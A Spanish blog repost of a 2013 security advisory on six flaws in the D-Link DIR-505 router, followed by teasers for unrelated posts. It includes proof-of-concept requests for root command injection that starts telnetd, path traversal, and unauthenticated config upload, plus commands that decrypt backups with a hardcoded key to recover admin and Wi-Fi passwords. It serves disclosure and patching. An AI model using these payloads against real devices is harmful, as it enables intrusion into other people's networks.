Ir al contenido principal

Múltiples vulnerabilidades en el router wireless D-Link DIR-505 (Septiembre 2013)

Múltiples vulnerabilidades en el router wireless D-Link DIR-505

Se han publicado seis vulnerabilidades que afectan al dispositivo D-Link DIR-505 Wireless Router. Los problemas podrían permitir la revelación de información sensible, inyección de comandos, acceder a los ficheros  del dispositivo, elevar privilegios y eludir restricciones de seguridad.
D-Link DIR-505 Wireless Router es un dispositivo portátil y de fácil manejo pensado para llevar de viaje y ampliar el alcance de cualquier red cableada mediante la creación de una red Wifi.
Alessandro Di Pinto ha descubierto múltiples errores de seguridad en los dispositivos D-Link DIR-500 que podrían ser aprovechados por un atacante en la misma red local. Son los siguientes:
  • un error de falta de comprobación del parámetro de entrada 'ip_addr' proporcionado por el usuario en la utilidad 'Ping Test' de la página '/System_Check.htm' podría ser aprovechada por un atacante autenticado para ejecutar comandos arbitrarios con privilegios de root.
     
    Se propone la siguiente prueba de concepto que permitiría iniciar el demonio de telnet en el dispositivo:     
      POST /my_cgi.cgi HTTP/1.1
      Host: <DIRECCION-IP>
      Cookie: uid=<COOKIE-VALIDA>
      Content-Length: 55
      request=ping_test&ip_addr=127.0.0.1; /usr/sbin/telnetd;

  • existe una vulnerabilidad de escalada de directorios en la interfaz web del puerto 8181 para explorar el contenido de una unidad USB conectada al dispositivo podría permitir a un atacante autenticado acceder a todos los ficheros del sistema. La siguiente PoC permitiría el acceso al directorio /etc:   

       http://<DIRECCION-IP>:8181/dws/api/ListFile?
       id=admin&tok=&volid=1&path=usb_dev/usb_A1/../../../../etc
  • otra vulnerabilidad de escalada de directorios relacionada con el parámetro 'path' de la utilidad '/dws/api/UploadFile' permitiría a un atacante autenticado subir un fichero desde una unidad USB conectada a un directorio arbitrario del dispositivo. Prueba de concepto para subir un fichero de texto al directorio /tmp

       POST /dws/api/UploadFile?0.35494315220771677 HTTP/1.1
       Host: <DIRECCION-IP>:8181
       Cookie: uid=<COOKIE-VALIDA>
       Content-Type: multipart/form-data;
               boundary=---------------------------736034324104825609817274318
       Content-Length: 1179
       - -----------------------------736034324104825609817274318
       Content-Disposition: form-data; name="id"
       admin
       - -----------------------------736034324104825609817274318
       Content-Disposition: form-data; name="tok"
       - -----------------------------736034324104825609817274318
       Content-Disposition: form-data; name="volid"
       1
       - -----------------------------736034324104825609817274318
       Content-Disposition: form-data; name="path"
       usb_dev/usb_A1/../../../../../../../../../tmp/
       - -----------------------------736034324104825609817274318
       Content-Disposition: form-data; name="filename"
       exploit.txt
       - -----------------------------736034324104825609817274318
       Content-Disposition: form-data; name="upload_file"; filename="test.txt"
       Content-Type: text/plain
       malicious text
       - -----------------------------736034324104825609817274318--
  • una falta de comprobación de permisos de usuario permitiría elevar privilegios utilizando una cookie válida generada por el usuario invitado (user: guest, password: guest). Se podría utilizar dicha cookie para explotar las vulnerabilidades anteriores a pesar de que dicho usuario no tiene permisos para ejecutar acciones como subir ficheros al dispositivo.

  • un error de falta de comprobación de autenticación en 'my_cgi.cgi' al procesa peticiones HTTP 'multipart/form-data' podría permitir eludir restricciones de seguridad y acceder a funcionalidades del dispositivo sin necesidad de autenticación. Como prueba de esta vulnerabilidad se presenta una PoC que permitiría a un atacante sin autenticar cargar un fichero de configuración en el dispositivo:

       POST /my_cgi.cgi HTTP/1.1
       Host: <DIRECCION-IP>
       Cookie: uid=<COOKIE-VALIDA>
       Content-Type: multipart/form-data;
               boundary=---------------------------4318828241986447042487864450
       Content-Length: 382
       - -----------------------------4318828241986447042487864450
       Content-Disposition: form-data; name="which_action"
       load_conf
       - -----------------------------4318828241986447042487864450
       Content-Disposition: form-data; name="file";
       filename="attacker-config.bin"
       Content-Type: text/plain
       <NUEVA-CONFIGURACIOM-PARA-EL-DISPOSITIVO>
       - -----------------------------4318828241986447042487864450--
  • el fichero de copia de seguridad de la configuración del dispositivo es encriptado de forma débil con la contraseña 'sw5-superman' y se conoce que tiene una cabecera de 84 bytes. Un atacante podría crear su propio fichero de configuración encriptando las entradas con dicha clave y creando una cabecera con la utilidad 'imghdr' y subirlo al dispositivo a través de la vulnerabilidad anteriormente descrita para eludir restricciones. También podría obtener el fichero del dispositivo y descubrir información sensible (como la contraseña de administrador o la clave WPA) a través de los siguientes comandos: 
      # Eliminar los 84 bytes de cabecera
      dd if=config-file of=config-file-no-header bs=84 skip=1
      # Desencriptar el contenido
      ccrypt -d -K sw5-superman config-file-no-header
Las vulnerabilidades afectan al dispositivo D-Link DIR-505 Wireless Router con firmware 1.06, aunque otras versiones anteriores y otros dispositivos también podrían estar comprometidos.
D-Link ha publicado una actualización de firmware (1.07) en su página web y FTP oficial, que corrige los errores anteriormente expuestos.
Más información:
Multiple vulnerabilities on D-Link Dir-505 devices
Fuente:
http://unaaldia.hispasec.com/2013/09/multiples-vulnerabilidades-en-el-router.html

Comentarios

Entradas populares de este blog

Un Tutorial de Aprendizaje Profundo: De Perceptrones a Redes Profundas

IA (iiiii AAA) no .. no son solo un par de vocales son las siglas de "Inteligencia Artificial" un campo de la informática que estudia la inteligenia exhibida por las máquinas y hoy hablaremos de esto. Te vamos a enseñar conceptos básicos de IA de una forma fáci. Comencemos, el dia de hoy tenemos este super interesante artículo que nos comparten desde Toptotal.com sobre el "Aprendizaje profundo de perceptrones a redes profundas" y si te suena a Chino no lo es :) Te invito a que leeas este articulo: En los últimos años, ha habido un resurgimiento en el campo de la Inteligencia Artificial. Se ha extendido más allá del mundo académico, con grandes figuras como  Google , Microsoft y  Facebook , quienes han creado sus propios equipos de investigación, obteniendo impresionantes  adquisiciones . Se comenta que esto puede atribuirse a la gran cantidad de datos brutos generados por los usuarios de redes sociales, muchos de los cuales deben ser analizados, al igual qu...

La H-1B: El viaje de un desarrollador iOS desde Honduras hasta Silicon Valley

Desde toptal.com nos cuentan ... La experiencia de un desarrollador Latinoamericano que llego hasta Silicon Valler desde Honduras, un interesante artículo que nos cuenta la travesía de llegar a trabajar en San Francisco, California. He aquí un fragmento del articulo: Por estos días, vivo en la gran ciudad de San Francisco. Obtuve un trabajo que amo, y uno con el cual soñé con tener durante mucho tiempo. Parece fácil ahora, pero no siempre fue así. Cómo empezó todo Nací en  San Pedro Sula , un pequeño pueblo en la esquina noroeste de Honduras. Comencé a programar cuando tenía 12 años. Todo empezó con BASIC. Un día, estaba jugando un vídeo juego y se colgó. Cuando ví la pantalla llena de códigos de error y mensajes, me picó la curiosidad—entonces comencé a aprender algunos comandos BASIC, que eventualmente me llevaron a comprar libros de programación sobre Clipper, Turbo Pascal, C, C++, etc. Fue genial. Tenía todo el tiempo del mundo para gastar programando cualq...

Por Qué Los Startups Necesitan Una Guía De Estilo

Incluso para un diseñador con experiencia, crear una nueva guía de estilo para un producto es difícil—hay muchas direcciones de diseño posible, y el proceso puede rápidamente convertirse en algo abrumador. La vida del  startup  es bastante agitada, rápida, y llena de clichés como “la perfección es la enemiga de tener algo hecho”, “muévete rápido y rompe cosas”, o “lancemos ahora, arreglemoslo después”. Crear una guía de estilo bajo dichos eslóganes y prioridades fluctuantes es desafiante, pero es necesario si queremos que el diseño de un producto tenga éxito a largo plazo. La  Experiencia Global de Lenguaje (GEL) de la BBC explica el propósito de cada componente y cómo deberían ser utilizados. En años recientes, hemos escuchado mucho sobre sistemas de diseño, guías de estilo, librerías de patrones, y  diseño atómico . Y si bien estas herramientas son muy útiles, usarlas puede sentirse como un exceso cuando lo único que quieres es crear un par de pantalla...